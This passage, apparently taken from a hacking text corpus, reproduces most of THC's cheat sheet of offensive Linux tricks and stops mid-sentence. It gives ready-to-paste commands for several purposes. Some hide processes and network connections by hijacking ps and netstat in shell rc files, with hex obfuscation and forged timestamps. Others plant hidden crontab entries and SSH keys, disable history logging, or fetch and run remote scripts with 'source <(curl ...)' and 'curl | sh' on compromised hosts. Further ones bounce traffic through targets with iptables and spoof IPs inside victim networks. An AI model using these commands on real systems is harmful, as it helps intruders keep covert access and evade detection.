Manusagents/hacking
Hacking Text Corpus A research corpus of historical computer security writings, hacker zines, and hacktivist texts. Built for NLP, text generation, discourse analysis, and security research. Contents Phrack Magazine (phrack/) 72 issues (1985-2024), 1,026 articles ~55 MB of raw text, ~4.76 million words Organized as phrack/issue{N}/{article}.txt Topics: exploit development, reverse engineering, networking, phreaking, hacker culture, OS internals… See the full description on the dataset page: https://huggingface.co/datasets/Manusagents/hacking.
0134
1<!-- Use `grip 8080` to render the markdown locally -->2# THC's favourite Tips, Tricks & Hacks (Cheat Sheet)3 4https://thc.org/tips 5 6A collection of our favourite tricks. Many of those tricks are not from us. We merely collect them.7 8We show the tricks 'as is' without any explanation why they work. You need to know Linux to understand how and why they work.9 10Got tricks? Join us [https://thc.org/ops](https://thc.org/ops)11 121. [Bash](#bash)13 1. [Set up a Hack Shell](#hackshell)14 1. [Hide your commands](#bash-hide-command)15 1. [Hide your command line options](#zap)16 1. [Hide a network connection](#bash-hide-connection)17 1. [Hide a process as user](#hide-a-process-user)18 1. [Hide a process as root](#hide-a-process-root)19 1. [Hide scripts](#hide-scripts)20 1. [Hide from cat](#cat)21 1. [Execute in parallel with separate logfiles](#parallel)221. [SSH](#ssh)23 1. [Almost invisible SSH](#ssh-invisible)24 1. [Multiple shells via 1 SSH/TCP connection](#ssh-master)25 1. [SSH tunnel](#ssh-tunnel)26 1. [SSH socks5 tunnel](#ssh-socks-tunnel)27 1. [SSH to NATed host](#ssh-j)28 1. [SSH pivot via ProxyJump](#ssh-pj)29 1. [SSHD as user](#sshd-user)301. [Network](#network)31 1. [Discover hosts](#discover)32 1. [Tcpdump](#tcpdump)33 1. [Tunnel and forwarding](#tunnel)34 1. [Raw TCP reverse ports](#ports)35 1. [HTTPS reverse forwards](#https)36 2. [Bouncing traffic with iptables](#iptables)37 3. [Ghost IP / IP Spoofing](#ghost)38 4. [Various](#tunnel-more)39 1. [Use any tool via Socks Proxy](#scan-proxy)40 1. [Find your public IP address](#your-ip)41 1. [Check reachability from around the world](#check-reachable)42 1. [Check/Scan Open Ports](#check-open-ports)43 1. [Crack Passwords hashes](#bruteforce)44 1. [Brute Force Passwords / Keys](#bruteforce)451. [Data Upload/Download/Exfil](#exfil)46 1. [File Encoding/Decoding](#file-encoding)47 1. [File transfer using cut & paste](#cut-paste)48 1. [File transfer using tmux](#xfer-tmux)49 1. [File transfer using screen](#file-transfer-screen)50 1. [File transfer using gs-netcat and sftp](#file-transfer-gs-netcat)51 1. [File transfer using HTTP](#http)52 1. [File download without curl](#download)53 2. [File transfer using rsync](#rsync)54 1. [File transfer to public dump sites](#trans) 55 1. [File transfer using WebDAV](#webdav)56 1. [File transfer to Telegram](#tg) 571. [Reverse Shell / Dumb Shell](#reverse-shell)58 1. [Reverse Shells](#reverse-shell)59 1. [with gs-netcat (encrypted)](#reverse-shell-gs-netcat)60 1. [with Bash](#reverse-shell-bash)61 2. [with cURL (encrypted)](#curlshell)62 2. [with cURL (cleartext)](#curltelnet)63 3. [with OpenSSL (encrypted)](#sslshell)64 1. [with remote.moe (encrypted)](#revese-shell-remote-moe)65 1. [without /dev/tcp](#reverse-shell-no-bash)66 1. [with Python](#reverse-shell-python)67 1. [with Perl](#reverse-shell-perl)68 1. [with PHP](#reverse-shell-php)69 1. [Upgrading the dumb shell](#reverse-shell-upgrade)70 1. [Upgrade a reverse shell to a pty shell](#reverse-shell-pty)71 1. [Upgrade a reverse shell to a fully interactive shell](#reverse-shell-interactive)72 1. [Reverse shell with socat (fully interactive)](#reverse-shell-socat)731. [Backdoors](#backdoor)74 1. [gs-netcat](#gsnc)75 2. [sshx.io](#sshx)76 1. [Smallest SSHD backdoor](#backdoor-sshd)77 1. [Remote access an entire network](#backdoor-network)78 1. [Smallest PHP backdoor](#php-backdoor)79 1. [Smallest reverse DNS-tunnel backdoor](#reverse-dns-backdoor)80 1. [Local Root backdoor](#ld-backdoor)81 1. [Self-extracting implant](#implant)821. [Host Recon](#hostrecon)831. [Shell Hacks](#shell-hacks)84 1. [Shred files (secure delete)](#shred)85 1. [Restore the date of a file](#restore-timestamp)86 1. [Clean logfile](#shell-clean-logs)87 1. [Hide files from a User without root privileges](#shell-hide-files)88 1. [Make a file immutable](#perm-files)89 1. [Change user without sudo/su](#nosudo)90 1. [Obfuscate and crypt payload](#payload)91 1. [Deploying a backdoor without touching the file-system](#memexec)921. [Crypto](#crypto)93 1. [Generate quick random Password](#gen-password)94 1. [Linux transportable encrypted filesystems](#crypto-filesystem)95 1. [cryptsetup](#crypto-filesystem)96 1. [EncFS](#encfs)97 1. [Encrypting a file](#encrypting-file)981. [Session sniffing and hijacking](#sniffing)99 1. [Sniff a user's SHELL session](#session-sniffing)100 2. [Sniff all SHELL sessions with dtrace](#dtrace)101 2. [Sniff all SHELL sessions with eBPF](#bpf)102 1. [Sniff a user's SSH or SSHD session with strace](#ssh-sniffing-strace)103 1. [Sniff a user's outgoing SSH session with a wrapper script](#ssh-sniffing-wrapper)104 1. [Sniff a user's outgoing SSH session with SSH-IT](#ssh-sniffing-sshit)105 1. [Hijack / Take-over a running SSH session](#hijack)1061. [VPN and Shells](#vpn-shell)107 1. [Disposable Root Servers](#shell)108 1. [VPN/VPS Providers](#vpn)1091. [OSINT Intelligence Gathering](#osint)1101. [Miscellaneous](#misc)111 1. [Tools of the trade](#tools)112 1. [Cool Linux commands](#cool-linux-commands)113 1. [tmux Cheat Sheet](#tmux)114 1. [Useful commands](#useful-commands)1151. [How to become a Hacker](#hacker)1161. [Other Sites](#others)117 118---119<a id="bash"></a>120## 1. Bash / Shell121<a id="hackshell"></a>122**1.i. Set up a Hack Shell (bash):**123 124Make BASH less noisy. Disables *~/.bash_history* and [many other things](https://github.com/hackerschoice/hackshell).125```sh126 source <(curl -SsfL https://thc.org/hs)127```128Alternative URL:129```sh130 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)131```132 133And if there is no curl/wget, use [surl](#download) and (temporarily) installed curl with `bin curl`.134```sh135source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)136# Afterwards type `bin curl` to (temporarily) install curl (in memory).137```138 139HackShell does much more but most importantly this:140```sh141unset HISTFILE142[ -n "$BASH" ] && export HISTFILE="/dev/null"143export BASH_HISTORY="/dev/null"144export LANG=en_US.UTF-8145locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US146export LESSHISTFILE=-147export REDISCLI_HISTFILE=/dev/null148export MYSQL_HISTFILE=/dev/null149TMPDIR="/tmp"150[ -d "/var/tmp" ] && TMPDIR="/var/tmp"151[ -d "/dev/shm" ] && TMPDIR="/dev/shm"152export TMPDIR153export PATH=".:${PATH}"154if [[ "$SHELL" == *"zsh" ]]; then155 PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '156else157 PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '158fi159alias wget='wget --no-hsts'160alias vi="vi -i NONE"161alias vim="vim -i NONE"162alias screen="screen -ln"163 164TERM=xterm reset -I165stty cols 400 # paste this on its own before pasting the next line:166resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}167# stty sane rows 60 cols 160168```169 170We use `anew` a lot, and this is a quick workaround:171```shell172xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; }173which anew &>/dev/null || alias anew=xanew174```175 176Bonus tip:177Any command starting with a " " (space) will [not get logged to history](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces) either.178```179$ id180```181 182<a id="bash-hide-command"></a>183**1.ii. Hide your command / Daemonzie your command**184 185This will hide the *process name* only. Use [zapper](#zap) to also hide the command line options.186 187```shell188(exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'189```190 191Start a background 'nmap' hidden as '/usr/sbin/sshd':192```193(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)194```195 196Start within a [GNU screen](https://linux.die.net/man/1/screen):197```198screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24199### Attach back to the nmap process200screen -x MyName201```202 203Alternatively, copy the binary to a new name:204```sh205cd /dev/shm206cp "$(command -v nmap)" syslogd207PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24208```209 210or use bind-mount to (temporarily) let */sbin/init* point to */dev/shm/nmap* instead:211```shell212mount -n --bind "$(command -v nmap)" /sbin/init213# starting /sbin/init will instead execute nmap214(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)215```216 217<a id="zap"></a>218**1.iii. Hide your command line options**219 220Use [zapper](https://github.com/hackerschoice/zapper):221```sh222curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \223chmod 755 zapper224```225 226```sh227# Start Nmap but zap all options and show it as 'klog' in the process list:228./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24229# Started as a daemon and sshd-style name:230(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)231# Replace the existing shell with tmux (with 'exec').232# Then start and hide tmux and all further processes - as some kernel process:233exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux234```235 236<a id="bash-hide-connection"></a>237**1.iv. Hide a Network Connection**238 239The trick is to hijack `netstat` and use grep to filter out our connection. This example filters any connection on port 31337 _or_ ip 1.2.3.4. The same should be done for `ss` (a netstat alternative).240 241**Method 1 - Hiding a connection with bash-function in ~/.bashrc**242 243Cut & paste this to add the line to ~/.bashrc244```shell245echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \246&& touch -r /etc/passwd ~/.bashrc247```248 249Or cut & paste this for an obfuscated entry to ~/.bashrc:250```shell251X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }'252echo "eval \$(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>~/.bashrc \253&& touch -r /etc/passwd ~/.bashrc254```255 256The obfuscated entry to ~/.bashrc will look like this:257```258eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG259```260 261**Method 2 - Hiding a connection with a binary in $PATH**262 263Create a fake netstat binary in /usr/local/sbin. On a default Debian (and most Linux) the PATH variables (`echo $PATH`) lists /usr/local/sbin _before_ /usr/bin. This means that our hijacking binary /usr/local/sbin/netstat will be executed instead of /usr/bin/netstat.264 265```shell266echo '#! /bin/bash267exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4' >/usr/local/sbin/netstat \268&& chmod 755 /usr/local/sbin/netstat \269&& touch -r /usr/bin/netstat /usr/local/sbin/netstat270```271 272*(thank you iamaskid)*273 274<a id="hide-a-process-user"></a>275**1.v. Hide a process as user**276 277Continuing from "Hiding a connection" the same technique can be used to hide a process. This example hides the nmap process and also takes care that our `grep` does not show up in the process list by renaming it to GREP:278 279```shell280echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >>~/.bashrc \281&& touch -r /etc/passwd ~/.bashrc282```283 284<a id="hide-a-process-root"></a>285**1.vi. Hide a process as root**286 287This requires root privileges and is an old Linux trick by over-mounting /proc/<pid> with a useless directory:288```sh289hide() {290 [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; }291 _pid=${1:-$$}292 [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; }293 local _argstr294 for _x in "${@:2}"; do _argstr+=" '${_x//\'/\'\"\'\"\'}'"; done295 [[ $(bash -c "ps -o stat= -p \$\$") =~ \+ ]] || exec bash -c "mount -n --bind /dev/shm /proc/\$\$; exec \"$1\" $_argstr"296 bash -c "mount -n --bind /dev/shm /proc/\$\$; exec \"$1\" $_argstr"297}298```299 300To hide a command use:301```sh302hide # Hides the current shell/PID303hide 31337 # Hides process with pid 31337304hide sleep 1234 # Hides 'sleep 1234'305hide nohup sleep 1234 &>/dev/null & # Starts and hides 'sleep 1234' as a background process306```307 308(thanks to *druichi* for improving this)309 310<a id="hide-scripts"></a>311**1.vii. Hide shell scripts**312 313Above we discussed how to obfuscate a line in ~/.bashrc. An often used trick is to use `source` instead. The source command can be shortened to `.` (yes, a dot) _and_ it also searches through the $PATH variable to find the file to load.314 315In this example our script ```prng``` contains all of our shell functions from above. Those functions hide the `nmap` process and the network connection. Last we add `. prng` into the systemwide rc file. This will load `prng` when the user (and root) logs in:316 317```shell318echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }319ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng \320&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc \321&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc322```323 324(The same works for `lsof`, `ss` and `ls`)325 326<a id="cat"></a>327**1.viii. Hide from cat**328 329ANSI escape characters or a simple `\r` ([carriage return](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) can be used to hide from `cat` and others.330 331Hide the last command (example: `id`) in `~/.bashrc`:332```sh333echo -e "id #\\033[2K\\033[1A" >>~/.bashrc334### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A335### moves the cursor 1 line up.336### The '#' after the command 'id' is a comment and is needed so that bash still337### executes the 'id' but ignores the two ANSI escape sequences.338```339 340Add a hidden crontab line:341```sh342(crontab -l; echo -e "0 2 * * * { id; date;} 2>/dev/null >/tmp/.thc-was-here #\\033[2K\\033[1A") | crontab343```344 345Adding a `\r` (carriage return) goes a long way to hide your ssh key from `cat`:346```shell347echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys348### This adds our key as the first key and 'cat authorized_keys' won't show349### it. The $'\r' is a bash special to create a \r (carriage return).350```351 352<a id="parallel"></a>353**1.ix. Execute in parallel with separate logfiles***354 355Note: The same can be achieved with [parallel](https://www.gnu.org/software/parallel/parallel_tutorial.html).356 357Scan hosts with 20 parallel tasks:358```sh359cat hosts.txt | xargs -P20 -I{} --process-slot-var=SLOT bash -c 'exec nmap -n -Pn -sV -F --open -oG - {} >>"nmap_${SLOT}.txt"'360```361- `exec` is used to replace the underlying shell with the last process (nmap). It's optional but reduces the number of running/useless shell binaries.362- `${SLOT}` contains a value between 0..19. It's the "task number". We use it to write the nmap-results into 20 separate files.363 364Execute [Linpeas](https://github.com/carlospolop/PEASS-ng) on all [gsocket](https://www.gsocket.io/deploy) hosts using 40 workers:365```sh366cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'367```368- Log each result into a separate file but log all errors into a error-log file by task-number.369 370---371<a id="ssh"></a>372## 2. SSH373<a id="ssh-invisible"></a>374**2.i. Almost invisible SSH**375 376Stops you from showing up in *w* or *who* command and stops logging the host to *~/.ssh/known_hosts*.377```sh378ssh -o UserKnownHostsFile=/dev/null -T user@server.org "bash -i"379```380 381Go full comfort with PTY and colors: `xssh user@server.org`:382 383```sh384### Cut & Paste the following to your shell, then execute385### xssh user@server.org386xssh() {387 local ttyp="$(stty -g)"388 echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"389 echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'390 echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"391 stty raw -echo icrnl opost392 [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"393 ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \394 "$@" \395 "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"396 stty "${ttyp}"397}398```399(See [Hackshell](https://github.com/hackerschoice/hackshell))400 401<a id="ssh-master"></a>402**2.ii Multiple shells via 1 SSH/TCP connection**403 404Have one TCP connection to the target and allow multiple users to piggyback on the same TCP connection to open further shell sessions.405 406Create a Master Connection:407```sh408ssh -M -S .sshmux user@server.org409```410 411Create further shell-sessions using the same (single) Master-TCP connection from above (no password/auth needed):412```sh413ssh -S .sshmux NONE414#ssh -S .sshmux NONE ls -al415#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .416```417Can be combined with [xssh](#ssh-invisible) to hide from utmp.418 419<a id="ssh-tunnel"></a>420**2.iii SSH tunnel**421 422We use this all the time to circumvent local firewalls and IP filtering:423```sh424ssh -g -L31337:1.2.3.4:80 user@server.org425```426You or anyone else can now connect to your computer on port 31337 and get tunneled to 1.2.3.4 port 80 and appear with the source IP of 'server.org'. An alternative and without the need for a server is to use [gs-netcat](#backdoor-network).427 428Clever hackers use the keyboard combination `~C` to dynamically create these tunnels without having to reconnect the SSH. (thanks MessedeDegod).429 430We use this to give access to a friend to an internal machine that is not on the public Internet:431```sh432ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 user@server.org433```434Anyone connecting to server.org:31338 will get tunneled to 192.168.0.5 on port 80 via your computer. An alternative and without the need for a server is to use [gs-netcat](#backdoor-network).435 436<a id="ssh-socks-tunnel"></a>437**2.iv SSH socks4/5 tunnel**438 439OpenSSH 7.6 adds socks support for dynamic forwarding. Example: Tunnel all your browser traffic through your server.440 441```sh442ssh -D 1080 user@server.org443```444Now configure your browser to use SOCKS with 127.0.0.1:1080. All your traffic is now tunneled through *server.org* and will appear with the source IP of *server.org*. An alternative and without the need for a server is to use [gs-netcat](#backdoor-network).445 446This is the reverse of the above example. It give others access to your *local* network or let others use your computer as a tunnel end-point.447 448```sh449ssh -g -R 1080 user@server.org450```451 452The others configuring server.org:1080 as their SOCKS4/5 proxy. They can now connect to *any* computer on *any port* that your computer has access to. This includes access to computers behind your firewall that are on your local network. An alternative and without the need for a server is to use [gs-netcat](#backdoor-network).453 454<a id="ssh-j"></a>455**2.v SSH to a host behind NAT**456 457[ssh-j.com](http://ssh-j.com) provides a great relay service: To access a host behind NAT/Firewall (via SSH).458 459On the host behind NAT: Create a reverse SSH tunnel to [ssh-j.com](http://ssh-j.com) like so:460```sh461## Cut & Paste on the host behind NAT.462sshj()463{464 local pw465 pw=${1,,}466 [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; }467 echo "Press Ctrl-C to stop this tunnel."468 echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m"469 ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22}470}471 472sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected473sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID474sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN475```476 477Then use this command from anywhere else in the world to connect as 'root' to 'foobarblahblub' (the host behind the NAT):478```sh479ssh -J foobarblahblub@ssh-j.com root@foobarblahblub480```481The ssh connection goes via ssh-j.com into the reverse tunnel to the host behind NAT. The traffic is end-2-end encrypted and ssh-j.com can not see the content.482 483 484<a id="ssh-pj"></a>485**2.vi SSH pivoting to multiple servers**486 487SSH ProxyJump can save you a lot of time and hassle when working with remote servers. Let's assume the scenario: 488 489Our workstation is $local-kali and we like to SSH into $target-host. There is no direct connection between our workstation and $target-host. Our workstation can only reach $C2. $C2 can reach $internal-jumphost (via internal eth1) and $internal-jumphost can reach the final $target-host via eth2.490```sh491 $local-kali -> $C2 -> $internal-jumphost -> $target-host492eth0 192.168.8.160 10.25.237.119 493eth1 192.168.5.130 192.168.5.135494eth2 172.16.2.120 172.16.2.121495```496 497> We do not execute `ssh` on any computer but our trusted workstation - and neither shall you (ever).498 499That's where ProxyJump helps: We can 'jump' via the two intermediary servers $C2 and $internal-jumphost (without spawning a shell on those servers). The ssh-connection is end-2-end encrypted between our $local-kali and $target-host and no password or key is exposed to $C2 or $internal-jumphost.500 501```sh 502## if we want to SSH to $target-host:503kali@local-kali$ ssh -J c2@10.25.237.119,jumpuser@192.168.5.135 target@172.16.2.121504 505## if we want to SSH to just $internal-jumphost:506kali@local-kali$ ssh -J c2@10.25.237.119 jumpuser@192.168.5.135507```508 509> We use this as well to hide our IP address when logging into servers. 510 511<a id="sshd-user"></a>512**2.vii SSHD as user land**513 514It is possible to start a SSHD server as a non-root user and use this to multiplex or forward TCP connection (without logging and when the systemwide SSHD forbids forwarding/multiplexing) or as a quick exfil-dump-server that runs as non-root:515```sh516# On the server, as non-root user 'joe':517mkdir -p ~/.ssh 2>/dev/null518ssh-keygen -q -N "" -t ed25519 -f sshd_key519cat sshd_key.pub >>~/.ssh/authorized_keys520cat sshd_key521$(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv522```523```sh524# On the client, copy the sshd_key from the server. Then login:525# Example: Proxy connection via the server and reverse-forward 31339 to localhost:526ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 joe@1.2.3.4527# curl -x socks5h://0 ipinfo.io528```529 530[SSF](https://securesocketfunneling.github.io/ssf/#home) is an alternative way to multiplex TCP over TLS.531 532---533<a id="network"></a>534## 3. Network535<a id="discover"></a>536**3.i. Discover hosts**537 538```sh539## ARP discover computers on the _LOCAL_ network only540nmap -n -sn -PR -oG - 192.168.0.1/24541```542 543```sh544### ICMP discover hosts545nmap -n -sn -PI -oG - 192.168.0.1/24546```547 548```sh549## ICMP discover hosts (local LAN) ROOT550# NET="10.11.0" # discover 10.11.0.1-10.11.0.254551seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1552```553 554---555<a id="tcpdump"></a>556**3.ii. tcpdump**557 558```sh559## Monitor every new TCP connection560tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'561 562## Play a *bing*-noise for every new SSH connection563tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done564 565## Ascii output (for all large packets. Change to >40 if no TCP options are used).566tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'567```568 569---570<a id="tunnel"></a>571**3.iii. Tunnel and forwarding**572 573```sh574## Connect to SSL (using socat)575socat stdio openssl-connect:smtp.gmail.com:465576 577## Connect to SSL (using openssl)578openssl s_client -connect smtp.gmail.com:465579```580 581```sh582## Bridge TCP to SSL583socat TCP-LISTEN:25,reuseaddr,fork openssl-connect:smtp.gmail.com:465584```585 586---587<a id="ports"></a>588**3.iii.a Raw TCP reverse ports**589 590Useful for reverse backdoors that need a TCP Port on a PUBLIC IP Address:591 592Using [segfault.net](https://thc.org/segfault.net) (free):593```sh594# Request a random public TCP port:595curl sf/port596echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)"597nc -vnlp $(cat /config/self/reverse_port)598```599 600Using [bore.pub](https://github.com/ekzhang/bore) (free):601```sh602# Forward a random public TCP port to localhost:31337603bore local 31337 --to bore.pub604```605 606using [serveo.net](https://serveo.net) (free):607```sh608# Forward a random public TCP port to localhost:31337609ssh -R 0:localhost:31337 tcp@serveo.net610```611 612using [pinggy.io](https://www.pinggy.io) (60 mins free):613```sh614ssh -p 443 -R 0:localhost:31337 tcp@a.pinggy.io615```616 617See also [remote.moe](#revese-shell-remote-moe) (free) to forward raw TCP from the target to your workstation or [playit](https://playit.gg/) (free) or [ngrok](https://ngrok.com/) (paid subscription) to forward a raw public TCP port.618 619Other free services are limited to forward HTTPS only (not raw TCP). Some tricks below show how to tunnel raw TCP over HTTPS forwards (using websockets).620 621---622<a id="https"></a>623**3.iii.b HTTPS reverse tunnels**624 625On the server, use any one of these three HTTPS tunneling services: 626```sh627### Reverse HTTPS tunnel to forward public HTTPS requests to this server's port 8080:628ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new nokey@localhost.run629### Or using remote.moe630ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new nokey@remote.moe631### Or using cloudflared632curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64633chmod 755 cloudflared634cloudflared tunnel --url http://localhost:8080 --no-autoupdate635```636Either service will generate a new temporary HTTPS-URL for you to use. 637 638Then, use [websocat](https://github.com/vi/websocat) or [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) on both ends to tunnel raw TCP over the HTTPS URL:639 640A. A simple STDIN/STDOUT pipe via HTTPS:641```sh642### On the server convert WebSocket to raw TCP:643websocat -s 8080644```645```sh646### On the remote target forward stdin/stdout to WebSocket:647websocat wss://<HTTPS-URL>648```649 650B. Forward raw TCP via HTTPS:651```sh652### On the server: Gost will translate any HTTP-websocket request to a TCP socks5 request:653gost -L mws://:8080654```655 656Forward port 2222 to the server's port 22.657```sh658### On the workstation:659gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'660### Test the connection (will connect to localhost:22 on the server)661nc -vn 127.0.0.1 2222662```663or use the server as a Socks-Proxy EXIT node (e.g. access any host inside the server's network or even the Internet via the server (using the HTTPS reverse tunnel from above):664```sh665### On the workstation:666gost -L :1080 -F 'mwss://<HTTPS-URL>:443'667### Test the Socks-proxy:668curl -x socks5h://0 ipinfo.io669```670 671More: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) and [Tunnel via Cloudflare to any TCP Service](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) and [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).672 673---674<a id="iptables"></a>675**3.iii.c Bouncing traffic with iptables**676 677Bounce through a host/router without needing to run a userland proxy or forwarder:678```sh679bounceinit() {680 echo 1 >/proc/sys/net/ipv4/ip_forward681 echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet682 [ $# -le 0 ] && set -- "0.0.0.0/0"683 while [ $# -gt 0 ]; do684 iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 685 shift 1686 done687 iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null688 iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark689 iptables -I FORWARD -m mark --mark 1188 -j ACCEPT690 iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE691 iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark692}693bounce() {694 iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}695}696bounceinit # Allow EVERY IP to bounce697# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce698```699(See [Hackshell](https://github.com/hackerschoice/hackshell) `bounce`)700 701 702Then set forwards like so:703```sh704bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port.705bounce 31338 127.0.0.1 8080 # Bounce 31338 to the server's 8080 (localhost)706bounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443707```708 709We use this trick to reach the gsocket-relay-network (or TOR) from deep inside firewalled networks.710```sh711# Deploy on a target that can only reach 192.168.0.100 712GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh 713```714```sh715# Access the target 716GS_HOST=213.171.212.212 gs-netcat -i -s ...717```718 719---720<a id="ghost"></a>721**3.vi.c Ghost IP / IP Spoofing**722 723Useful on a host inside the target network. This tool re-configured (without trace) the SHELL: Any program (nmap, cme, ...) started from this SHELL will use a fake IP. All your attacks will originate from a host that does not exist.724 725```sh726source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)727```728 729This also works in combination with:730 * [Segfault's ROOT Servers](https://thc.org/segfault/wireguard): Will connect your ROOT Server to the TARGET NETWORK and using a Ghost IP inside the target network.731 * [QEMU Tunnels](https://securelist.com/network-tunneling-with-qemu/111803/): As above, but less secure.732 733---734<a id="tunnel-more"></a>735**3.vi.d Various Tunnel Tricks**736 737### Tunnel via CDN738 * Read [How to tunnel any TCP service via CloudFlare](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) or use [DarkFlare](https://github.com/doxx/darkflare).739 740### Connect your host directly to the remote network741 * [WireTap](https://github.com/sandialabs/wiretap) - Works as user or root. Uses UDP as transport. ([Try 